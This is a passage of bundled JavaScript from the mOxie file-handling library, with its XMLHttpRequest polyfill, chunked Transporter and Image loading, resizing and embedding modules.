				if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}
				
				// 14 - terminate abort()
				
				// 15 - terminate send()

				// 18
				_sync_flag = !_async;
				_send_flag = false;
				_headers = {};
				_reset.call(this);

				// 19
				_p('readyState', XMLHttpRequest.OPENED);
				
				// 20
				this.dispatchEvent('readystatechange');
			},
			
			/**
			Appends an header to the list of author request headers, or if header is already
			in the list of author request headers, combines its value with value.

			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
			Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
			is not a valid HTTP header field value.
			
			@method setRequestHeader
			@param {String} header
			@param {String|Number} value
			*/
			setRequestHeader: function(header, value) {
				var uaHeaders = [ // these headers are controlled by the user agent
						"accept-charset",
						"accept-encoding",
						"access-control-request-headers",
						"access-control-request-method",
						"connection",
						"content-length",
						"cookie",
						"cookie2",
						"content-transfer-encoding",
						"date",
						"expect",
						"host",
						"keep-alive",
						"origin",
						"referer",
						"te",
						"trailer",
						"transfer-encoding",
						"upgrade",
						"user-agent",
						"via"
					];
				
				// 1-2
				if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 3
				if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 4
				/* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
				if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}*/

				header = Basic.trim(header).toLowerCase();
				
				// setting of proxy-* and sec-* headers is prohibited by spec
				if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
					return false;
				}

				// camelize
				// browsers lowercase header names (at least for custom ones)
				// header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
				
				if (!_headers[header]) {
					_headers[header] = value;
				} else {
					// http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
					_headers[header] += ', ' + value;
				}
				return true;
			},

			/**
			Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.

			@method getAllResponseHeaders
			@return {String} reponse headers or empty string
			*/
			getAllResponseHeaders: function() {
				return _responseHeaders || '';
			},

			/**
			Returns the header field value from the response of which the field name matches header, 
			unless the field name is Set-Cookie or Set-Cookie2.

			@method getResponseHeader
			@param {String} header
			@return {String} value(s) for the specified header or null
			*/
			getResponseHeader: function(header) {
				header = header.toLowerCase();

				if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
					return null;
				}

				if (_responseHeaders && _responseHeaders !== '') {
					// if we didn't parse response headers until now, do it and keep for later
					if (!_responseHeadersBag) {
						_responseHeadersBag = {};
						Basic.each(_responseHeaders.split(/\r\n/), function(line) {
							var pair = line.split(/:\s+/);
							if (pair.length === 2) { // last line might be empty, omit
								pair[0] = Basic.trim(pair[0]); // just in case
								_responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
									header: pair[0],
									value: Basic.trim(pair[1])
								};
							}
						});
					}
					if (_responseHeadersBag.hasOwnProperty(header)) {
						return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
					}
				}
				return null;
			},
			
			/**
			Sets the Content-Type header for the response to mime.
			Throws an "InvalidStateError" exception if the state is LOADING or DONE.
			Throws a "SyntaxError" exception if mime is not a valid media type.

			@method overrideMimeType
			@param String mime Mime type to set
			*/
			overrideMimeType: function(mime) {
				var matches, charset;
			
				// 1
				if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2
				mime = Basic.trim(mime.toLowerCase());

				if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
					mime = matches[1];
					if (matches[2]) {
						charset = matches[2];
					}
				}

				if (!Mime.mimes[mime]) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 3-4
				_finalMime = mime;
				_finalCharset = charset;
			},
			
			/**
			Initiates the request. The optional argument provides the request entity body.
			The argument is ignored if request method is GET or HEAD.

			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.

			@method send
			@param {Blob|Document|String|FormData} [data] Request entity body
			@param {Object} [options] Set of requirements and pre-requisities for runtime initialization
			*/
			send: function(data, options) {					
				if (Basic.typeOf(options) === 'string') {
					_options = { ruid: options };
				} else if (!options) {
					_options = {};
				} else {
					_options = options;
				}
															
				// 1-2
				if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				
				// 3					
				// sending Blob
				if (data instanceof Blob) {
					_options.ruid = data.ruid;
					_mimeType = data.type || 'application/octet-stream';
				}
				
				// FormData
				else if (data instanceof FormData) {
					if (data.hasBlob()) {
						var blob = data.getBlob();
						_options.ruid = blob.ruid;
						_mimeType = blob.type || 'application/octet-stream';
					}
				}
				
				// DOMString
				else if (typeof data === 'string') {
					_encoding = 'UTF-8';
					_mimeType = 'text/plain;charset=UTF-8';
					
					// data should be converted to Unicode and encoded as UTF-8
					data = Encode.utf8_encode(data);
				}

				// if withCredentials not set, but requested, set it automatically
				if (!this.withCredentials) {
					this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
				}

				// 4 - storage mutex
				// 5
				_upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
				// 6
				_error_flag = false;
				// 7
				_upload_complete_flag = !data;
				// 8 - Asynchronous steps
				if (!_sync_flag) {
					// 8.1
					_send_flag = true;
					// 8.2
					// this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
					// 8.3
					//if (!_upload_complete_flag) {
						// this.upload.dispatchEvent('loadstart');	// will be dispatched either by native or runtime xhr
					//}
				}
				// 8.5 - Return the send() method call, but continue running the steps in this algorithm.
				_doXHR.call(this, data);
			},
			
			/**
			Cancels any network activity.
			
			@method abort
			*/
			abort: function() {
				_error_flag = true;
				_sync_flag = false;

				if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
					_p('readyState', XMLHttpRequest.DONE);
					_send_flag = false;

					if (_xhr) {
						_xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
					} else {
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}

					_upload_complete_flag = true;
				} else {
					_p('readyState', XMLHttpRequest.UNSENT);
				}
			},

			destroy: function() {
				if (_xhr) {
					if (Basic.typeOf(_xhr.destroy) === 'function') {
						_xhr.destroy();
					}
					_xhr = null;
				}

				this.unbindAll();

				if (this.upload) {
					this.upload.unbindAll();
					this.upload = null;
				}
			}
		});

		this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
		this.upload.handleEventProps(dispatches);

		/* this is nice, but maybe too lengthy

		// if supported by JS version, set getters/setters for specific properties
		o.defineProperty(this, 'readyState', {
			configurable: false,

			get: function() {
				return _p('readyState');
			}
		});

		o.defineProperty(this, 'timeout', {
			configurable: false,

			get: function() {
				return _p('timeout');
			},

			set: function(value) {

				if (_sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// timeout still should be measured relative to the start time of request
				_timeoutset_time = (new Date).getTime();

				_p('timeout', value);
			}
		});

		// the withCredentials attribute has no effect when fetching same-origin resources
		o.defineProperty(this, 'withCredentials', {
			configurable: false,

			get: function() {
				return _p('withCredentials');
			},

			set: function(value) {
				// 1-2
				if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 3-4
				if (_anonymous_flag || _sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// 5
				_p('withCredentials', value);
			}
		});

		o.defineProperty(this, 'status', {
			configurable: false,

			get: function() {
				return _p('status');
			}
		});

		o.defineProperty(this, 'statusText', {
			configurable: false,

			get: function() {
				return _p('statusText');
			}
		});

		o.defineProperty(this, 'responseType', {
			configurable: false,

			get: function() {
				return _p('responseType');
			},

			set: function(value) {
				// 1
				if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2
				if (_sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// 3
				_p('responseType', value.toLowerCase());
			}
		});

		o.defineProperty(this, 'responseText', {
			configurable: false,

			get: function() {
				// 1
				if (!~o.inArray(_p('responseType'), ['', 'text'])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2-3
				if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				return _p('responseText');
			}
		});

		o.defineProperty(this, 'responseXML', {
			configurable: false,

			get: function() {
				// 1
				if (!~o.inArray(_p('responseType'), ['', 'document'])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2-3
				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				return _p('responseXML');
			}
		});

		o.defineProperty(this, 'response', {
			configurable: false,

			get: function() {
				if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
					if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
						return '';
					}
				}

				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
					return null;
				}

				return _p('response');
			}
		});

		*/

		function _p(prop, value) {
			if (!props.hasOwnProperty(prop)) {
				return;
			}
			if (arguments.length === 1) { // get
				return Env.can('define_property') ? props[prop] : self[prop];
			} else { // set
				if (Env.can('define_property')) {
					props[prop] = value;
				} else {
					self[prop] = value;
				}
			}
		}
		
		/*
		function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
			// TODO: http://tools.ietf.org/html/rfc3490#section-4.1
			return str.toLowerCase();
		}
		*/
		
		
		function _doXHR(data) {
			var self = this;
			
			_start_time = new Date().getTime();

			_xhr = new RuntimeTarget();

			function loadEnd() {
				if (_xhr) { // it could have been destroyed by now
					_xhr.destroy();
					_xhr = null;
				}
				self.dispatchEvent('loadend');
				self = null;
			}

			function exec(runtime) {
				_xhr.bind('LoadStart', function(e) {
					_p('readyState', XMLHttpRequest.LOADING);
					self.dispatchEvent('readystatechange');

					self.dispatchEvent(e);
					
					if (_upload_events_flag) {
						self.upload.dispatchEvent(e);
					}
				});
				
				_xhr.bind('Progress', function(e) {
					if (_p('readyState') !== XMLHttpRequest.LOADING) {
						_p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
						self.dispatchEvent('readystatechange');
					}
					self.dispatchEvent(e);
				});
				
				_xhr.bind('UploadProgress', function(e) {
					if (_upload_events_flag) {
						self.upload.dispatchEvent({
							type: 'progress',
							lengthComputable: false,
							total: e.total,
							loaded: e.loaded
						});
					}
				});
				
				_xhr.bind('Load', function(e) {
					_p('readyState', XMLHttpRequest.DONE);
					_p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
					_p('statusText', httpCode[_p('status')] || "");
					
					_p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));

					if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
						_p('responseText', _p('response'));
					} else if (_p('responseType') === 'document') {
						_p('responseXML', _p('response'));
					}

					_responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');

					self.dispatchEvent('readystatechange');
					
					if (_p('status') > 0) { // status 0 usually means that server is unreachable
						if (_upload_events_flag) {
							self.upload.dispatchEvent(e);
						}
						self.dispatchEvent(e);
					} else {
						_error_flag = true;
						self.dispatchEvent('error');
					}
					loadEnd();
				});

				_xhr.bind('Abort', function(e) {
					self.dispatchEvent(e);
					loadEnd();
				});
				
				_xhr.bind('Error', function(e) {
					_error_flag = true;
					_p('readyState', XMLHttpRequest.DONE);
					self.dispatchEvent('readystatechange');
					_upload_complete_flag = true;
					self.dispatchEvent(e);
					loadEnd();
				});

				runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
					url: _url,
					method: _method,
					async: _async,
					user: _user,
					password: _password,
					headers: _headers,
					mimeType: _mimeType,
					encoding: _encoding,
					responseType: self.responseType,
					withCredentials: self.withCredentials,
					options: _options
				}, data);
			}

			// clarify our requirements
			if (typeof(_options.required_caps) === 'string') {
				_options.required_caps = Runtime.parseCaps(_options.required_caps);
			}

			_options.required_caps = Basic.extend({}, _options.required_caps, {
				return_response_type: self.responseType
			});

			if (data instanceof FormData) {
				_options.required_caps.send_multipart = true;
			}

			if (!Basic.isEmptyObj(_headers)) {
				_options.required_caps.send_custom_headers = true;
			}

			if (!_same_origin_flag) {
				_options.required_caps.do_cors = true;
			}
			

			if (_options.ruid) { // we do not need to wait if we can connect directly
				exec(_xhr.connectRuntime(_options));
			} else {
				_xhr.bind('RuntimeInit', function(e, runtime) {
					exec(runtime);
				});
				_xhr.bind('RuntimeError', function(e, err) {
					self.dispatchEvent('RuntimeError', err);
				});
				_xhr.connectRuntime(_options);
			}
		}
	
		
		function _reset() {
			_p('responseText', "");
			_p('responseXML', null);
			_p('response', null);
			_p('status', 0);
			_p('statusText', "");
			_start_time = _timeoutset_time = null;
		}
	}

	XMLHttpRequest.UNSENT = 0;
	XMLHttpRequest.OPENED = 1;
	XMLHttpRequest.HEADERS_RECEIVED = 2;
	XMLHttpRequest.LOADING = 3;
	XMLHttpRequest.DONE = 4;
	
	XMLHttpRequest.prototype = EventTarget.instance;

	return XMLHttpRequest;
});

// Included from: src/javascript/runtime/Transporter.js

/**
 * Transporter.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/runtime/Transporter", [
	"moxie/core/utils/Basic",
	"moxie/core/utils/Encode",
	"moxie/runtime/RuntimeClient",
	"moxie/core/EventTarget"
], function(Basic, Encode, RuntimeClient, EventTarget) {
	function Transporter() {
		var mod, _runtime, _data, _size, _pos, _chunk_size;

		RuntimeClient.call(this);

		Basic.extend(this, {
			uid: Basic.guid('uid_'),

			state: Transporter.IDLE,

			result: null,

			transport: function(data, type, options) {
				var self = this;

				options = Basic.extend({
					chunk_size: 204798
				}, options);

				// should divide by three, base64 requires this
				if ((mod = options.chunk_size % 3)) {
					options.chunk_size += 3 - mod;
				}

				_chunk_size = options.chunk_size;

				_reset.call(this);
				_data = data;
				_size = data.length;

				if (Basic.typeOf(options) === 'string' || options.ruid) {
					_run.call(self, type, this.connectRuntime(options));
				} else {
					// we require this to run only once
					var cb = function(e, runtime) {
						self.unbind("RuntimeInit", cb);
						_run.call(self, type, runtime);
					};
					this.bind("RuntimeInit", cb);
					this.connectRuntime(options);
				}
			},

			abort: function() {
				var self = this;

				self.state = Transporter.IDLE;
				if (_runtime) {
					_runtime.exec.call(self, 'Transporter', 'clear');
					self.trigger("TransportingAborted");
				}

				_reset.call(self);
			},


			destroy: function() {
				this.unbindAll();
				_runtime = null;
				this.disconnectRuntime();
				_reset.call(this);
			}
		});

		function _reset() {
			_size = _pos = 0;
			_data = this.result = null;
		}

		function _run(type, runtime) {
			var self = this;

			_runtime = runtime;

			//self.unbind("RuntimeInit");

			self.bind("TransportingProgress", function(e) {
				_pos = e.loaded;

				if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
					_transport.call(self);
				}
			}, 999);

			self.bind("TransportingComplete", function() {
				_pos = _size;
				self.state = Transporter.DONE;
				_data = null; // clean a bit
				self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
			}, 999);

			self.state = Transporter.BUSY;
			self.trigger("TransportingStarted");
			_transport.call(self);
		}

		function _transport() {
			var self = this,
				chunk,
				bytesLeft = _size - _pos;

			if (_chunk_size > bytesLeft) {
				_chunk_size = bytesLeft;
			}

			chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
			_runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
		}
	}

	Transporter.IDLE = 0;
	Transporter.BUSY = 1;
	Transporter.DONE = 2;

	Transporter.prototype = EventTarget.instance;

	return Transporter;
});

// Included from: src/javascript/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/image/Image", [
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/Exceptions",
	"moxie/file/FileReaderSync",
	"moxie/xhr/XMLHttpRequest",
	"moxie/runtime/Runtime",
	"moxie/runtime/RuntimeClient",
	"moxie/runtime/Transporter",
	"moxie/core/utils/Env",
	"moxie/core/EventTarget",
	"moxie/file/Blob",
	"moxie/file/File",
	"moxie/core/utils/Encode"
], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
	/**
	Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.

	@class Image
	@constructor
	@extends EventTarget
	*/
	var dispatches = [
		'progress',

		/**
		Dispatched when loading is complete.

		@event load
		@param {Object} event
		*/
		'load',

		'error',

		/**
		Dispatched when resize operation is complete.
		
		@event resize
		@param {Object} event
		*/
		'resize',

		/**
		Dispatched when visual representation of the image is successfully embedded
		into the corresponsing container.

		@event embedded
		@param {Object} event
		*/
		'embedded'
	];

	function Image() {

		RuntimeClient.call(this);

		Basic.extend(this, {
			/**
			Unique id of the component

			@property uid
			@type {String}
			*/
			uid: Basic.guid('uid_'),

			/**
			Unique id of the connected runtime, if any.

			@property ruid
			@type {String}
			*/
			ruid: null,

			/**
			Name of the file, that was used to create an image, if available. If not equals to empty string.

			@property name
			@type {String}
			@default ""
			*/
			name: "",

			/**
			Size of the image in bytes. Actual value is set only after image is preloaded.

			@property size
			@type {Number}
			@default 0
			*/
			size: 0,

			/**
			Width of the image. Actual value is set only after image is preloaded.

			@property width
			@type {Number}
			@default 0
			*/
			width: 0,

			/**
			Height of the image. Actual value is set only after image is preloaded.

			@property height
			@type {Number}
			@default 0
			*/
			height: 0,

			/**
			Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.

			@property type
			@type {String}
			@default ""
			*/
			type: "",

			/**
			Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.

			@property meta
			@type {Object}
			@default {}
			*/
			meta: {},

			/**
			Alias for load method, that takes another mOxie.Image object as a source (see load).

			@method clone
			@param {Image} src Source for the image
			@param {Boolean} [exact=false] Whether to activate in-depth clone mode
			*/
			clone: function() {
				this.load.apply(this, arguments);
			},

			/**
			Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File, 
			native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL, 
			Image will be downloaded from remote destination and loaded in memory.

			@example
				var img = new mOxie.Image();
				img.onload = function() {
					var blob = img.getAsBlob();
					
					var formData = new mOxie.FormData();
					formData.append('file', blob);

					var xhr = new mOxie.XMLHttpRequest();
					xhr.onload = function() {
						// upload complete
					};
					xhr.open('post', 'upload.php');
					xhr.send(formData);
				};
				img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
			

			@method load
			@param {Image|Blob|File|String} src Source for the image
			@param {Boolean|Object} [mixed]
			*/
			load: function() {
				_load.apply(this, arguments);
			},

			/**
			Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.

			@method downsize
			@param {Object} opts
				@param {Number} opts.width Resulting width
				@param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
				@param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
				@param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
				@param {String} [opts.resample=false] Resampling algorithm to use for resizing
			*/
			downsize: function(opts) {
				var defaults = {
					width: this.width,
					height: this.height,
					type: this.type || 'image/jpeg',
					quality: 90,
					crop: false,
					preserveHeaders: true,
					resample: false
				};

				if (typeof(opts) === 'object') {
					opts = Basic.extend(defaults, opts);
				} else {
					// for backward compatibility
					opts = Basic.extend(defaults, {
						width: arguments[0],
						height: arguments[1],
						crop: arguments[2],
						preserveHeaders: arguments[3]
					});
				}

				try {
					if (!this.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}

					// no way to reliably intercept the crash due to high resolution, so we simply avoid it
					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
						throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
					}

					this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
				} catch(ex) {
					// for now simply trigger error event
					this.trigger('error', ex.code);
				}
			},

			/**
			Alias for downsize(width, height, true). (see downsize)
			
			@method crop
			@param {Number} width Resulting width
			@param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
			@param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
			*/
			crop: function(width, height, preserveHeaders) {
				this.downsize(width, height, true, preserveHeaders);
			},

			getAsCanvas: function() {
				if (!Env.can('create_canvas')) {
					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
				}

				var runtime = this.connectRuntime(this.ruid);
				return runtime.exec.call(this, 'Image', 'getAsCanvas');
			},

			/**
			Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsBlob
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {Blob} Image as Blob
			*/
			getAsBlob: function(type, quality) {
				if (!this.size) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
			},

			/**
			Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsDataURL
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {String} Image as dataURL string
			*/
			getAsDataURL: function(type, quality) {
				if (!this.size) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
			},

			/**
			Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsBinaryString
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {String} Image as binary string
			*/
			getAsBinaryString: function(type, quality) {
				var dataUrl = this.getAsDataURL(type, quality);
				return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
			},

			/**
			Embeds a visual representation of the image into the specified node. Depending on the runtime, 
			it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare, 
			can be used in legacy browsers that do not have canvas or proper dataURI support).

			@method embed
			@param {DOMElement} el DOM element to insert the image object into
			@param {Object} [opts]
				@param {Number} [opts.width] The width of an embed (defaults to the image width)
				@param {Number} [opts.height] The height of an embed (defaults to the image height)
				@param {String} [type="image/jpeg"] Mime type
				@param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
				@param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
			*/
			embed: function(el, opts) {
				var self = this
				, runtime // this has to be outside of all the closures to contain proper runtime
				;

				opts = Basic.extend({
					width: this.width,
					height: this.height,
					type: this.type || 'image/jpeg',
					quality: 90
				}, opts || {});
				

				function render(type, quality) {
					var img = this;

					// if possible, embed a canvas element directly
					if (Env.can('create_canvas')) {
						var canvas = img.getAsCanvas();
						if (canvas) {
							el.appendChild(canvas);
							canvas = null;
							img.destroy();
							self.trigger('embedded');
							return;
						}
					}

					var dataUrl = img.getAsDataURL(type, quality);
					if (!dataUrl) {
						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
					}

					if (Env.can('use_data_uri_of', dataUrl.length)) {
						el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
						img.destroy();
						self.trigger('embedded');
					} else {
						var tr = new Transporter();

						tr.bind("TransportingComplete", function() {
							runtime = self.connectRuntime(this.result.ruid);

							self.bind("Embedded", function() {
								// position and size properly
								Basic.extend(runtime.getShimContainer().style, {
									//position: 'relative',
									top: '0px',
									left: '0px',
									width: img.width + 'px',
									height: img.height + 'px'
								});

								// some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
								// position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
								// sometimes 8 and they do not have this problem, we can comment this for now
								/*tr.bind("RuntimeInit", function(e, runtime) {
									tr.destroy();
									runtime.destroy();
									onResize.call(self); // re-feed our image data
								});*/

								runtime = null; // release
							}, 999);

							runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
							img.destroy();
						});

						tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
							required_caps: {
								display_media: true
							},
							runtime_order: 'flash,silverlight',
							container: el
						});
					}
				}

				try {
					if (!(el = Dom.get(el))) {
						throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
					}

					if (!this.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}
					
					// high-resolution images cannot be consistently handled across the runtimes
					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
						//throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
					}

					var imgCopy = new Image();

					imgCopy.bind("Resize", function() {
						render.call(this, opts.type, opts.quality);
					});

					imgCopy.bind("Load", function() {
						imgCopy.downsize(opts);
					});

					// if embedded thumb data is available and dimensions are big enough, use it
					if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
						imgCopy.load(this.meta.thumb.data);
					} else {
						imgCopy.clone(this, false);
					}

					return imgCopy;
				} catch(ex) {
					// for now simply trigger error event
					this.trigger('error', ex.code);
				}
			},

			/**
			Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.

			@method destroy
			*/
			destroy: function() {
				if (this.ruid) {
					this.getRuntime().exec.call(this, 'Image', 'destroy');
					this.disconnectRuntime();
				}
				this.unbindAll();
			}
		});


		// this is here, because in order to bind properly, we need uid, which is created above
		this.handleEventProps(dispatches);

		this.bind('Load Resize', function() {
			_updateInfo.call(this);
		}, 999);


		function _updateInfo(info) {
			if (!info) {
				info = this.exec('Image', 'getInfo');
			}

			this.size = info.size;
			this.width = info.width;
			this.height = info.height;
			this.type = info.type;
			this.meta = info.meta;

			// update file name, only if empty
			if (this.name === '') {
				this.name = info.name;
			}
		}
		

		function _load(src) {
			var srcType = Basic.typeOf(src);

			try {
				// if source is Image
				if (src instanceof Image) {
					if (!src.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}
					_loadFromImage.apply(this, arguments);
				}
				// if source is o.Blob/o.File
				else if (src instanceof Blob) {
					if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
					}
					_loadFromBlob.apply(this, arguments);
				}
				// if native blob/file
				else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
					_load.call(this, new File(null, src), arguments[1]);
				}
				// if String
				else if (srcType === 'string') {
					// if dataUrl String
					if (src.substr(0, 5) === 'data:') {
						_load.call(this, new Blob(null, { data: src }), arguments[1]);
					}
					// else assume Url, either relative or absolute
					else {
						_loadFromUrl.apply(this, arguments);
					}
				}
				// if source seems to be an img node
				else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
					_load.call(this, src.src, arguments[1]);
				}
				else {
					throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
				}
			} catch(ex) {
				// for now simply trigger error event
				this.trigger('error', ex.code);
			}
		}


		function _loadFromImage(img, exact) {
			var runtime = this.connectRuntime(img.ruid);
			this.ruid = runtime.uid;
			runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
		}


		function _loadFromBlob(blob, options) {
			var self = this;

			self.name = blob.name || '';

			function exec(runtime) {
				self.ruid = runtime.uid;
				runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
			}

			if (blob.isDetached()) {
				this.bind('RuntimeInit', function(e, runtime) {
					exec(runtime);
				});

				// convert to object representation
				if (options && typeof(options.required_caps) === 'string') {
					options.required_caps = Runtime.parseCaps(options.required_caps);
				}

				this.connectRuntime(Basic.extend({
					required_caps: {
						access_image_binary: true,
						resize_image: true
					}
				}, options));
			} else {
				exec(this.connectRuntime(blob.ruid));
			}
		}


		function _loadFromUrl(url, options) {
			var self = this, xhr;

			xhr = new XMLHttpRequest();

